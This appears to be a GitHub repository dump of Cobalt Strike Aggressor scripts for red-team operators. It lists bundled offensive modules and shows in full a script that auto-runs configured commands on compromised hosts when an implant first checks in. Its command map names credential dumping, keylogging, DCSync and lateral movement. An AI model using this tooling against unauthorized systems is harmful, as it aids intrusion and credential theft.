├── Beacon_Initial_Tasks.cna ├── CODE_OF_CONDUCT.md ├── FilesColor.cna ├── Forwarded_Ports.cna ├── Highlight_Beacons.cna ├── LICENSE.txt ├── Payload_Variants_Generator.cna ├── README.md ├── better-upload.cna ├── custom-powershell-hooks.cna ├── cwd-in-beacon-status-bar.cna ├── hash.cna ├── httprequest.cna ├── img └── 1.PNG ├── mgeekys_arsenal ├── README.md ├── img │ ├── arsenal1.png │ ├── arsenal2.png │ ├── arsenal3.png │ ├── arsenal4.png │ ├── arsenal5.png │ ├── arsenal6.png │ ├── arsenal7.png │ └── arsenal8.png ├── mgeekys_arsenal.cna └── modules │ ├── InternalMonologue.exe │ ├── Inveigh.exe │ ├── InvokeTheHash.ps1 │ ├── Load-AdPsModule.ps1 │ ├── MailSniper.ps1 │ ├── PowerUp.ps1 │ ├── PowerUpSQL.ps1 │ ├── PowerView_dev.ps1 │ ├── Rubeus.exe │ ├── Seatbelt.exe │ ├── SharpDPAPI.exe │ ├── SharpHound.exe │ ├── SharpShares-mitch.exe │ ├── SharpUp.exe │ ├── SharpView.exe │ ├── SharpWMI.exe │ ├── Watson.exe │ └── jaws-enum.ps1 ├── parse-error-codes.cna ├── rename-beacon-tabs.cna ├── settings.cna ├── smart-autoppid.cna └── stomp-dll-info.py /Beacon_Initial_Tasks.cna: -------------------------------------------------------------------------------- 1 | # 2 | # BeaconInitialTasks.cna 3 | # 4 | # 5 | # This script lets you configure commands that should be launched as soon as the Beacon checks-in for the 6 | # first time. Both commands and argue settings are available in a dedicated options dialog. Also, a feature 7 | # to right-click on a Beacon and issue "Run custom command..." was added to allow to run arbitrary commands 8 | # against multiple beacons. 9 | # 10 | # Settings are then save in file specified in a global variable named: 11 | # $beaconInitialTasksSettingsFile 12 | # 13 | # 14 | # ------------------------------------------ 15 | # How it works? 16 | # 17 | # Implementation of beacon_task() functionality to invoke nearly-arbitrary Cobalt Strike commands 18 | # from a passed string, from within your Aggressor scripts: 19 | # 20 | # beacon_task($bid, "execute-assembly C:\\tools\\Rubeus.exe hash /password:test"); 21 | # 22 | # 23 | # ----------------------------------------- 24 | # Initial Commands design, aka beacon_task(): 25 | # 26 | # Beacon initial commands are commands that will be processed/parsed by this script and used to construct 27 | # a Sleep closure that will evaluate Cobalt Strike expression. For instance, a task stated like so: 28 | # beacon_task(\$bid, 'execute-assembly C:\\tools\\Rubeus.exe hash /password:test') 29 | # 30 | # will result in creating following closure: 31 | # bexecute_assembly(\$bid, 'C:\\tools\\Rubeus.exe', 'hash /password:test') 32 | # 33 | # 34 | # ----------------------------------------- 35 | # Limitation 36 | # 37 | # The way that closures are generated prevents use of apostrophe (and because I was too lazy to code a workaround 38 | # for that). Also, the command passed to beacon_task() will be extracted up to the first whitespace-character. 39 | # Then such an extract is iterated through a dictionary of known Aggressor commands to translate it into Aggressor's 40 | # function name (execute-assembly => bexecute_assembly) and learn the expected number of parameters the function expects. 41 | # 42 | # 43 | # ----------------------------------------- 44 | # Caveat 45 | # 46 | # Such an implementation is inherently prone to be outdated as when CobaltStrike adds new commands and they won't be reflected 47 | # in '%functions_map' dictionary defined in parseBeaconCommand(). If a command is specified that won't be found in that dictionary, 48 | # a fireAlias() invocation closure will be constructed instead. That would let the caller invoke user-defined aliases. 49 | # 50 | # 51 | # ----------------------------------------- 52 | # PS: 53 | # I've been poking around `call("beacons.task", $null, $bid, ...)` with CommandBuilder and not, however didn't get anywhere 54 | # so decided to code up this hefty, ugly workaround that is based on a hardcoded dictionary of commands. 55 | # 56 | # 57 | # Author: 58 | # Mariusz Banach / mgeeky, '20 59 | # 60 | # (https://github.com/mgeeky) 61 | # 62 | 63 | global('%defaults'); 64 | 65 | $beaconInitialTasksSettingsFile = script_resource('Beacon_Initial_Tasks.conf'); 66 | 67 | %defaults["autorun_command_on_initial_checkin1"] = ""; 68 | %defaults["autorun_command_on_initial_checkin2"] = ""; 69 | %defaults["autorun_command_on_initial_checkin3"] = ""; 70 | %defaults["autorun_command_on_initial_checkin4"] = ""; 71 | %defaults["autorun_command_on_initial_checkin5"] = ""; 72 | %defaults["custom_argue_on_initial_checkin1"] = ""; 73 | %defaults["custom_argue_on_initial_checkin2"] = ""; 74 | %defaults["custom_argue_on_initial_checkin3"] = ""; 75 | 76 | 77 | 78 | popup beacon_bottom { 79 | item "Run Custom command..." { 80 | prompt_text("Cobalt Strike command to issue:", "", lambda({ 81 | foreach $bid (@ids) { 82 | beacon_task($bid, $1); 83 | } 84 | }, @ids => $1)); 85 | } 86 | } 87 | 88 | sub extractBeaconCommandArgs { 89 | local('$text $pos1 $pos2 @args $tmp'); 90 | @args = @(); 91 | $text = [$1 trim]; 92 | 93 | $pos1 = 0; 94 | while($pos1 < strlen($text)) { 95 | if(charAt($text, $pos1) eq '"') { 96 | if((($pos1 > 1) && (charAt($text, $pos1 - 1)) ne '\\') || $pos1 == 0) { 97 | for($pos2 = $pos1 + 1; $pos2 < strlen($text); $pos2++) { 98 | if(charAt($text, $pos2) eq '"') { 99 | if(($pos2 > 1) && (charAt($text, $pos2 - 1) ne '\\')) { 100 | if ((($pos2) - ($pos1 + 1)) > 0) { 101 | $tmp = [substr($text, $pos1 + 1, $pos2) trim]; 102 | $tmp = replace($tmp, "\\\\\"", '"'); 103 | push(@args, $tmp); 104 | } 105 | else { 106 | push(@args, ""); 107 | } 108 | $pos1 = $pos2; 109 | break; 110 | } 111 | } 112 | } 113 | } 114 | } 115 | else if (charAt($text, $pos1) ne ' ') { 116 | $pos2 = indexOf($text, " ", $pos1); 117 | if($pos2 !is $null) { 118 | push(@args, [substr($text, $pos1, $pos2) trim]); 119 | $pos1 = $pos2; 120 | } 121 | else { 122 | push(@args, [substr($text, $pos1) trim]); 123 | break; 124 | } 125 | } 126 | 127 | $pos1 += 1; 128 | } 129 | 130 | return @args; 131 | } 132 | 133 | sub parseBeaconCommand { 134 | local('%functions_map $a $k $argc $vargs $v @out $cmdline'); 135 | 136 | $cmdline = $1; 137 | 138 | # add only non-standard mappings, like argue => bargue_add 139 | %functions_map = %( 140 | "argue" => @("bargue_add", 3), 141 | "blockdlls" => @("bblockdlls", 2), 142 | "browserpivot" => @("bbrowserpivot", 3), 143 | "browserpivot-stop" => @("bbrowserpivot_stop", 1), 144 | "cancel" => @("bcancel", 2), 145 | "cd" => @("bcd", 2), 146 | "checkin" => @("bcheckin", 1), 147 | "clear" => @("bclear", 1), 148 | "connect" => @("bconnect", 2), 149 | "covertvpn" => @("bcovertvpn", 4), 150 | "cp" => @("bcp", 3), 151 | "dcsync" => @("bdcsync", 3), 152 | "desktop" => @("bdesktop", 1), 153 | "dllinject" => @("bdllinject", 3), 154 | "dllload" => @("bdllload", 3), 155 | "dllspawn" => @("bdllspawn", 6), 156 | "download" => @("bdownload", 2), 157 | "drives" => @("bdrives", 1), 158 | "elevate" => @("belevate", 3), 159 | "error" => @("berror", 2), 160 | "execute" => @("bexecute", 2), 161 | "execute-assembly" => @("bexecute_assembly", 3), 162 | "exit" => @("bexit", 1), 163 | "getprivs" => @("bgetprivs", 1), 164 | "getsystem" => @("bgetsystem", 1), 165 | "getuid" => @("bgetuid", 1), 166 | "hashdump" => @("bhashdump", 1), 167 | "inject" => @("binject", 4), 168 | "injectsh" => @("binjectsh", 4), 169 | "inline-execute" => @("binline_execute", 3), 170 | "input" => @("binput", 2), 171 | "jobkill" => @("bjobkill", 2), 172 | "jobs" => @("bjobs", 1), 173 | "jump" => @("bjump", 4), 174 | "kerberos_ccache_use" => @("bkerberos_ccache_use", 2), 175 | "kerberos_ticket_purge" => @("bkerberos_ticket_purge", 1), 176 | "kerberos_ticket_use" => @("bkerberos_ticket_use", 2), 177 | "keylogger" => @("bkeylogger", 3), 178 | "kill" => @("bkill", 2), 179 | "link" => @("blink", 2), 180 | "log" => @("blog", 2), 181 | "log2" => @("blog2", 2), 182 | "make_token" => @("bloginuser", 4), 183 | "logonpasswords" => @("blogonpasswords", 2), 184 | "ls" => @("bls", 2), 185 | "mimikatz" => @("bmimikatz", 2), 186 | "mimikatz-small" => @("bmimikatz_small", 2), 187 | "mkdir" => @("bmkdir", 2), 188 | "mode" => @("bmode", 2), 189 | "mv" => @("bmv", 3), 190 | "net" => @("bnet", 2), 191 | "note" => @("bnote", 2), 192 | "passthehash" => @("bpassthehash", 4), 193 | "pause" => @("bpause", 2), 194 | "portscan" => @("bportscan", 5), 195 | "powerpick" => @("bpowerpick", 3), 196 | "powershell" => @("bpowershell", 3), 197 | "powershell-import" => @("bpowershell_import", 2), 198 | "powershell-clear" => @("bpowershell_import_clear", 1), 199 | "ppid" => @("bppid", 2), 200 | "ps" => @("bps", 1), 201 | "psexec" => @("bpsexec", 5), 202 | "psinject" => @("bpsinject", 4), 203 | "pwd" => @("bpwd", 1), 204 | "reg query" => @("breg_query", 3), 205 | "reg queryv" => @("breg_queryv", 4), 206 | "remote-exec" => @("bremote_exec", 4), 207 | "rev2self" => @("brev2self", 1), 208 | "rm" => @("brm", 2), 209 | "rportfwd" => @("brportfwd", 4), 210 | "rportfwd_local" => @("brportfwd_local", 4), 211 | "rportfwd_stop" => @("brportfwd_stop", 2), 212 | "run" => @("brun", 2), 213 | "runas" => @("brunas", 5), 214 | "runasadmin" => @("brunasadmin", 2), 215 | "runu" => @("brunu", 3), 216 | "screenshot" => @("bscreenshot", 1), 217 | "screenwatch" => @("bscreenwatch", 1), 218 | "setenv" => @("bsetenv", 3), 219 | "shell" => @("bshell", 2), 220 | "shinject" => @("bshinject", 4), 221 | "shspawn" => @("bshspawn", 3), 222 | "sleep" => @("bsleep", 3), 223 | "socks" => @("bsocks", 2), 224 | "socks stop" => @("bsocks_stop", 1), 225 | "spawn" => @("bspawn", 3), 226 | "spawnas" => @("bspawnas", 5), 227 | "spawnto" => @("bspawnto", 3), 228 | "spawnu" => @("bspawnu", 3), 229 | "spunnel" => @("bspunnel", 4), 230 | "spunnel_local" => @("bspunnel_local", 4), 231 | "ssh" => @("bssh", 5), 232 | "ssh-key" => @("bssh_key", 5), 233 | "steal_token" => @("bsteal_token", 2), 234 | "sudo" => @("bsudo", 3), 235 | "task" => @("btask", 3), 236 | "timestomp" => @("btimestomp", 3), 237 | "unlink" => @("bunlink", 3), 238 | "upload" => @("bupload", 2), 239 | 240 | # Command was not found among built-in ones, probably user refers to user-defined alias. 241 | "*" => @("fireAlias", 3), 242 | ); 243 | 244 | foreach $k => $vargs (%functions_map) { 245 | $k = replace($k, '"', ''); 246 | $v = replace($vargs[0], '"', ''); 247 | $argc = $vargs[1]; 248 | $a = [left($cmdline, strlen($k)) trim]; 249 | 250 | if ($a eq $k) { 251 | if((strlen($cmdline) > strlen($k) + 1) && left($cmdline, strlen($k) + 1) ne $k . " ") { 252 | continue; 253 | } 254 | 255 | @args = @(); 256 | 257 | if(strlen($cmdline) > (strlen($k) + 1)) { 258 | @args = extractBeaconCommandArgs(substr($cmdline, strlen($k) + 1)); 259 | } 260 | 261 | return @($k, $v, $argc, @args); 262 | } 263 | } 264 | 265 | $n = indexOf($cmdline, ' '); 266 | 267 | if($n !is $null) { 268 | $k = substr($cmdline, 0, $n); 269 | } 270 | else { 271 | $k = $cmdline; 272 | } 273 | 274 | $v = 'fireAlias,' . $k; 275 | @args = extractBeaconCommandArgs(substr($cmdline, strlen($k))); 276 | $n = 3; 277 | 278 | return @($k, $v, $argc, @args); 279 | } 280 | 281 | sub constructClosure { 282 | local('$func $argc $closure @args @nargs @xargs $n $tmp $i'); 283 | 284 | # The dynamic closure construction idea & implementation parts were borrowed from 285 | # https://github.com/dcsync/pycobalt/blob/master/aggressor/pycobalt.cna 286 | 287 | $func = $1; 288 | $argc = $2; 289 | @args = $3; 290 | @nargs = @(); 291 | $n = $argc; 292 | if(left($func, strlen('fireAlias,')) eq "fireAlias,") { 293 | $tmp = join(' ', @args); 294 | $tmp = replace($tmp, "\\\\", '^.^.^'); 295 | $tmp = replace($tmp, '\^\.\^\.\^', "\\\\\\\\"); 296 | #$tmp = replace($tmp, '"', "\\\\\""); 297 | 298 | $closure = 'fireAlias($1, "' . split(',', $func)[1] . '", '; 299 | $closure .= "'" . $tmp . "')"; 300 | 301 | return $closure; 302 | } 303 | 304 | if ($n > size(@args)) { 305 | $n = size(@args); 306 | } 307 | 308 | for($i = 0; $i < $n; $i++) { 309 | push(@nargs, "'" . @args[$i] . "'"); 310 | } 311 | 312 | if(size(@args) > size(@nargs)) { 313 | $n = 0; 314 | $tmp = @nargs[size(@nargs) - 1]; 315 | if(right($tmp, 1) eq "'") { 316 | $tmp = substr($tmp, 0, strlen($tmp) - 1); 317 | $n = 1; 318 | } 319 | 320 | $tmp .= ' ' . join(' ', sublist(@args, size(@nargs))); 321 | @nargs[size(@nargs) - 1] = $tmp; 322 | 323 | if ($n == 1) { 324 | @nargs[size(@nargs) - 1] .= "'"; 325 | } 326 | } 327 | 328 | # Replacing backslashes in strings to double-backslashes 329 | for($i = 0; $i < size(@nargs); $i++) { 330 | @nargs[$i] = replace(@nargs[$i], "\\\\", '^.^.^'); 331 | @nargs[$i] = replace(@nargs[$i], '\^\.\^\.\^', "\\\\\\\\"); 332 | #@nargs[$i] = replace(@nargs[$i], '"', "\\\\\""); 333 | } 334 | 335 | $closure = ''; 336 | $closure .= $func . '($1, '; 337 | $closure .= join(', ', @nargs); 338 | $closure .= ')'; 339 | 340 | return $closure; 341 | } 342 | 343 | 344 | # 345 | # Usage: 346 | # beacon_task($bid, $command); 347 | # 348 | 349 | sub beacon_task { 350 | local('$bid $func $cmdline $argc $closure $closure_text $cmd @args'); 351 | 352 | $bid = $1; 353 | $cmdline = $2; 354 | 355 | if(indexOf($cmdline, "'") !is $null) { 356 | berror($1, "Warning: beacon_task argument contains apostrophe (') that will break dynamically constructed closure! The expected beacon command probably won't run."); 357 | } 358 | 359 | ($cmd, $func, $argc, @args) = parseBeaconCommand($cmdline); 360 | 361 | println("[beacon_task debug]beacon_task(' $+ $cmdline $+ '): parsed cmd=\" $+ $cmd $+ \", func=\" $+ $func $+ \", args = " . @args); 362 | 363 | $closure_text = constructClosure($func, $argc - 1, @args); 364 | println("[beacon_task debug]Prepared closure for beacon_task:\n\t" . $closure_text); 365 | 366 | try 367 | { 368 | $closure = compile_closure($closure_text); 369 | 370 | if ($closure !is $null) { 371 | binput($1, $cmd . " " . join(' ', @args)); 372 | invoke($closure, @($bid), $cmd); 373 | } 374 | else { 375 | #println("[beacon_task debug]Could not compile closure (returned null)."); 376 | } 377 | } 378 | catch $message 379 | { 380 | berror($1, "Could not compile closure for beacon_task (look in Script Console for more details): $message"); 381 | } 382 | } 383 | 384 | 385 | 386 | # 387 | # ============================================================================ 388 | # 389 | 390 | 391 | menubar("Initial Tasks", "initialTasks"); 392 | 393 | popup initialTasks { 394 | item "Configure initial tasks" { 395 | beaconInitialActionsSetup(); 396 | } 397 | } 398 | 399 | sub beaconInitialActionsSetup { 400 | local('$dialog'); 401 | 402 | $dialog = dialog("Beacon initial check-in actions [brought to you by github.com/mgeeky]", %defaults, &saveBeaconInitialActions); 403 | 404 | dialog_description($dialog, "Configure what should happen when a Beacon checks-in for the first time. Its beacon-initial-checkin handler may do some automated actions to fill results at startup. All of these actions are governed by superior setting \"Enable automated actions when Beacon checks-in for the first time\" configurable in main BeaconInitialTasks settings."); 405 | 406 | drow_checkbox($dialog, "beacon_initial_actions", "Enable automated actions when Beacon checks-in for the first time (this script): ", "Enable"); 407 | 408 | drow_text($dialog, "autorun_command_on_initial_checkin1", "Run this Cobalt command when Beacon checks-in first time (1):"); 409 | drow_text($dialog, "autorun_command_on_initial_checkin2", "Run this Cobalt command when Beacon checks-in first time (2):"); 410 | drow_text($dialog, "autorun_command_on_initial_checkin3", "Run this Cobalt command when Beacon checks-in first time (3):"); 411 | drow_text($dialog, "autorun_command_on_initial_checkin4", "Run this Cobalt command when Beacon checks-in first time (4):"); 412 | drow_text($dialog, "autorun_command_on_initial_checkin5", "Run this Cobalt command when Beacon checks-in first time (5):"); 413 | 414 | drow_text($dialog, "custom_argue_on_initial_checkin1", "Issue this argue command when Beacon checks-in first time (1):"); 415 | drow_text($dialog, "custom_argue_on_initial_checkin2", "Issue this argue command when Beacon checks-in first time (2):"); 416 | drow_text($dialog, "custom_argue_on_initial_checkin3", "Issue this argue command when Beacon checks-in first time (3):"); 417 | 418 | dbutton_action($dialog, "Update"); 419 | dbutton_action($dialog, "Help"); 420 | dialog_show($dialog); 421 | } 422 | 423 | sub saveBeaconInitialActions { 424 | local('%options $err @params'); 425 | %options = $3; 426 | 427 | if($2 eq "Help") { 428 | $err = ""; 429 | 430 | $err .= "\n\nInitial Commands design, aka beacon_task():\n"; 431 | $err .= "Beacon initial commands are commands that will be processed/parsed by this script and used to construct\n"; 432 | $err .= "a Sleep closure that will evaluate Cobalt Strike expression. For instance, a task stated like so:\n"; 433 | $err .= "\t beacon_task(\$bid, 'execute-assembly C:\\tools\\Rubeus.exe hash /password:test')\n"; 434 | $err .= "\nwill result in creating following closure:\n"; 435 | $err .= "\t bexecute_assembly(\$bid, 'C:\\tools\\Rubeus.exe', 'hash /password:test')\n"; 436 | $err .= "\nThe way that closures are generated prevents use of apostrophe (and because I was too lazy to code a workaround\n"; 437 | $err .= "for that). Also, the command passed to beacon_task() will be extracted up to the first whitespace-character.\n"; 438 | $err .= "Then such an extract is iterated through a dictionary of known Aggressor commands to translate it into Aggressor's\n"; 439 | $err .= "function name (execute-assembly => bexecute_assembly) and learn the expected number of parameters the function expects.\n"; 440 | $err .= "\nSuch an implementation is inherently prone to be outdated as when CobaltStrike adds new commands and they won't be reflected\n"; 441 | $err .= "in '%functions_map' dictionary defined in parseBeaconCommand(). If a command is specified that won't be found in that dictionary,\n"; 442 | $err .= "a fireAlias() invocation closure will be constructed instead. That would let the caller invoke user-defined aliases.\n"; 443 | $err .= "\n"; 444 | 445 | show_message($err); 446 | 447 | return; 448 | } 449 | 450 | %defaults["beacon_initial_actions"] = %options["beacon_initial_actions"]; 451 | 452 | %defaults["autorun_command_on_initial_checkin1"] = %options["autorun_command_on_initial_checkin1"]; 453 | %defaults["autorun_command_on_initial_checkin2"] = %options["autorun_command_on_initial_checkin2"]; 454 | %defaults["autorun_command_on_initial_checkin3"] = %options["autorun_command_on_initial_checkin3"]; 455 | %defaults["autorun_command_on_initial_checkin4"] = %options["autorun_command_on_initial_checkin4"]; 456 | %defaults["autorun_command_on_initial_checkin5"] = %options["autorun_command_on_initial_checkin5"]; 457 | 458 | %defaults["custom_argue_on_initial_checkin1"] = %options["custom_argue_on_initial_checkin1"]; 459 | %defaults["custom_argue_on_initial_checkin2"] = %options["custom_argue_on_initial_checkin2"]; 460 | %defaults["custom_argue_on_initial_checkin3"] = %options["custom_argue_on_initial_checkin3"]; 461 | 462 | @params = @( 463 | 'autorun_command_on_initial_checkin1', 464 | 'autorun_command_on_initial_checkin2', 465 | 'autorun_command_on_initial_checkin3', 466 | 'autorun_command_on_initial_checkin4', 467 | 'autorun_command_on_initial_checkin5', 468 | 'custom_argue_on_initial_checkin1', 469 | 'custom_argue_on_initial_checkin2', 470 | 'custom_argue_on_initial_checkin3', 471 | ); 472 | 473 | $err = ""; 474 | 475 | foreach $p (@params) { 476 | if(%defaults[$p] is $null || strlen(%defaults[$p]) == 0) { 477 | continue; 478 | } 479 | 480 | if(indexOf($cmdline, "'") !is $null) { 481 | $err .= "\n\n $p $+ : Specified command cannot contain apostrophe (') as it breaks arguments parser. Please modify your command.\n"; 482 | } 483 | } 484 | 485 | if(strlen($err) > 0) { 486 | show_error($err); 487 | return; 488 | } 489 | 490 | putOptions(); 491 | show_message("Options saved."); 492 | } 493 | 494 | 495 | # 496 | # ============================================================================================== 497 | # 498 | 499 | # 500 | # saveOptions( 501 | # $filename, 502 | # %dictWithOptions, 503 | # [optional]"save.these.options.with.prefix.in.name") 504 | # 505 | sub saveOptions { 506 | local('$handle $i $newl $updated $append @output @contents $optionsPrefix $fileName %options $p $k $key $val %fetchedOptions'); 507 | $fileName = $1; 508 | %options = $2; 509 | $optionsPrefix = $3; 510 | 511 | @output = @(); 512 | @contents = @(); 513 | 514 | if(-exists $fileName) { 515 | if(!-canread $fileName) { 516 | show_error("Cannot read settings file: $fileName"); 517 | return; 518 | } 519 | 520 | $handle = openf($fileName); 521 | if($handle) { 522 | while $line (readln($handle)) { 523 | $line = ["$line" trim]; 524 | push(@contents, $line); 525 | } 526 | closef($handle); 527 | } 528 | } 529 | 530 | $handle = openf(">" . $fileName); 531 | if($handle is $null) { 532 | show_error("Could not save options: Unable to open/create file."); 533 | return; 534 | } 535 | 536 | if(size(@contents) > 0) { 537 | for($i = 0; $i < size(@contents); $i++) { 538 | if(strlen(@contents[$i]) < 2) { 539 | push(@output, @contents[$i]); 540 | continue; 541 | } 542 | else if('#*' iswm @contents[$i]) { 543 | push(@output, @contents[$i]); 544 | continue; 545 | } 546 | 547 | $updated = 0; 548 | if(@contents[$i] ismatch '([^=]+)\s*=\s*(.+)') { 549 | ($key, $oldval) = matched(); 550 | $key = ["$key" trim]; 551 | $oldval = ["$oldval" trim]; 552 | 553 | foreach $key2 (keys(%options)) { 554 | $k = $optionsPrefix . $key2; 555 | 556 | if($key eq $k) { 557 | $val = %options[$key2]; 558 | $val = ["$val" trim]; 559 | 560 | $newl = substr(@contents[$i], 0, indexOf(@contents[$i], $oldval)); 561 | 562 | if(strlen($val) == 0) { 563 | $newl .= "\"\""; 564 | } 565 | else if(indexOf($val, ' ')) { 566 | $newl .= "\" $+ $val $+ \""; 567 | } 568 | else { 569 | $newl .= $val; 570 | } 571 | 572 | push(@output, $newl); 573 | 574 | $updated = 1; 575 | } 576 | } 577 | } 578 | 579 | if($updated == 0) { 580 | push(@output, @contents[$i]); 581 | } 582 | } 583 | } 584 | else { 585 | foreach $key (keys(%options)) { 586 | $k = $optionsPrefix . $key; 587 | $val = %options[$key]; 588 | $val = ["$val" trim]; 589 | 590 | if(strlen($val) == 0) { 591 | push(@output, "$k = \"\""); 592 | } 593 | else if(indexOf($val, ' ')) { 594 | push(@output, "$k = \" $+ $val $+ \""); 595 | } 596 | else { 597 | push(@output, "$k = $val"); 598 | } 599 | } 600 | } 601 | 602 | printAll($handle, @output); 603 | closef($handle); 604 | } 605 | 606 | # 607 | # %fetchedOptionsDict = loadOptions($filename, [optional]"load.only.options.with.prefix.in.name") 608 | # 609 | sub loadOptions { 610 | local('$handle @lines $fileName $p $key $loadPrefix $val %fetchedOptions'); 611 | $fileName = $1; 612 | $loadPrefix = $2; 613 | %fetchedOptions = %(); 614 | 615 | if(!-exists $fileName) { 616 | show_error("No saved settings file ( $+ $fileName $+ )!"); 617 | return $null; 618 | } 619 | 620 | if(!-canread $fileName) { 621 | show_error("Cannot read settings file: $fileName"); 622 | return $null; 623 | } 624 | 625 | $handle = openf($fileName); 626 | while $line (readln($handle)) { 627 | push(@lines, ["$line" trim]); 628 | } 629 | 630 | closef($handle); 631 | 632 | for($lineNum = 0; $lineNum < size(@lines); $lineNum++) { 633 | $line = @lines[$lineNum]; 634 | 635 | if(strlen($line) <= 2) { 636 | continue; 637 | } 638 | else if('#*' iswm $line) { 639 | continue; 640 | } 641 | 642 | $p = indexOf($line, '='); 643 | if ($p) { 644 | 645 | $key = substr($line, 0, $p); 646 | $key = ["$key" trim]; 647 | 648 | $val = substr($line, $p + 1); 649 | $val = ["$val" trim]; 650 | 651 | if(strlen($key) == 0) { 652 | show_error("Error in config file ( $+ $fileName $+ ) in line $lineNum $+ :\nLine does not conform 'key = value' form, as there is no key:\n\n $line"); 653 | return $null; 654 | } 655 | 656 | if(right($val, 1) eq ";") { 657 | $val = substr($val, 0, -1); 658 | } 659 | 660 | if(left($val, 1) eq '"') { 661 | if(right($val, 1) eq '"') { 662 | $val = substr($val, 1, -1); 663 | } 664 | else { 665 | show_error("Error in config file ( $+ $fileName $+ ) in line $lineNum $+ :\nUnclosed quote mark on line:\n\n $line"); 666 | return $null; 667 | } 668 | } 669 | 670 | if($loadPrefix && strlen($loadPrefix) > 0) { 671 | if(indexOf($key, $loadPrefix) != 0) { 672 | continue; 673 | } 674 | } 675 | 676 | if($key && strlen($key) > 0) { 677 | %fetchedOptions[$key] = $val; 678 | } 679 | else { 680 | %fetchedOptions[$key] = ""; 681 | } 682 | } 683 | else { 684 | show_error("Error in config file ( $+ $fileName $+ ) in line $lineNum $+ :\nNo 'key = value' assignment in line:\n\n $line"); 685 | return $null; 686 | } 687 | } 688 | 689 | return %fetchedOptions; 690 | } 691 | 692 | # 693 | # ============================================================================================== 694 | # 695 | 696 | sub getOptions { 697 | local('%opts $pos %beacons'); 698 | 699 | %opts = loadOptions($beaconInitialTasksSettingsFile); 700 | if(size(keys(%opts)) > 0) { 701 | $pos = strlen("initialtasks.defaults."); 702 | foreach $key (keys(%opts)) { 703 | if("initialtasks.defaults.*" iswm $key) { 704 | $k = substr($key, $pos); 705 | %defaults[$k] = %opts[$key]; 706 | } 707 | } 708 | } 709 | 710 | $handle = openf($beaconsCacheFile); 711 | if($handle !is $null) { 712 | %beacons = %(); 713 | %beacons = readObject($handle); 714 | closef($handle); 715 | 716 | if(%beacons !is $null) { 717 | if(size(%beacons) > size(%OPERATING_BEACONS)) { 718 | %OPERATING_BEACONS = copy(%beacons); 719 | } 720 | } 721 | } 722 | } 723 | 724 | sub putOptions { 725 | saveOptions($beaconInitialTasksSettingsFile, %defaults, "initialtasks.defaults."); 726 | } 727 | 728 | 729 | on beacon_initial { 730 | 731 | if(%defaults["beacon_initial_actions"] eq "true") { 732 | if(%defaults["autorun_command_on_initial_checkin1"] !is $null && strlen(%defaults["autorun_command_on_initial_checkin1"]) > 0) { 733 | beacon_task($1, %defaults["autorun_command_on_initial_checkin1"]); 734 | } 735 | if(%defaults["autorun_command_on_initial_checkin2"] !is $null && strlen(%defaults["autorun_command_on_initial_checkin2"]) > 0) { 736 | beacon_task($1, %defaults["autorun_command_on_initial_checkin2"]); 737 | } 738 | if(%defaults["autorun_command_on_initial_checkin3"] !is $null && strlen(%defaults["autorun_command_on_initial_checkin3"]) > 0) { 739 | beacon_task($1, %defaults["autorun_command_on_initial_checkin3"]); 740 | } 741 | if(%defaults["autorun_command_on_initial_checkin4"] !is $null && strlen(%defaults["autorun_command_on_initial_checkin4"]) > 0) { 742 | beacon_task($1, %defaults["autorun_command_on_initial_checkin4"]); 743 | } 744 | if(%defaults["autorun_command_on_initial_checkin5"] !is $null && strlen(%defaults["autorun_command_on_initial_checkin5"]) > 0) { 745 | beacon_task($1, %defaults["autorun_command_on_initial_checkin5"]); 746 | } 747 | 748 | if(%defaults["custom_argue_on_initial_checkin1"] !is $null && strlen(%defaults["custom_argue_on_initial_checkin1"]) > 0) { 749 | beacon_task($1, "argue " . %defaults["custom_argue_on_initial_checkin1"]); 750 | } 751 | if(%defaults["custom_argue_on_initial_checkin2"] !is $null && strlen(%defaults["custom_argue_on_initial_checkin2"]) > 0) { 752 | beacon_task($1, "argue " . %defaults["custom_argue_on_initial_checkin2"]); 753 | } 754 | if(%defaults["custom_argue_on_initial_checkin3"] !is $null && strlen(%defaults["custom_argue_on_initial_checkin3"]) > 0) { 755 | beacon_task($1, "argue " . %defaults["custom_argue_on_initial_checkin3"]); 756 | } 757 | } 758 | } 759 | 760 | getOptions(); -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity 10 | and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the 26 | overall community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or 31 | advances of any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email 35 | address, without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | Mariusz Banach (mgeeky, @mariuszbit, mb@binary-offensive.com). 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 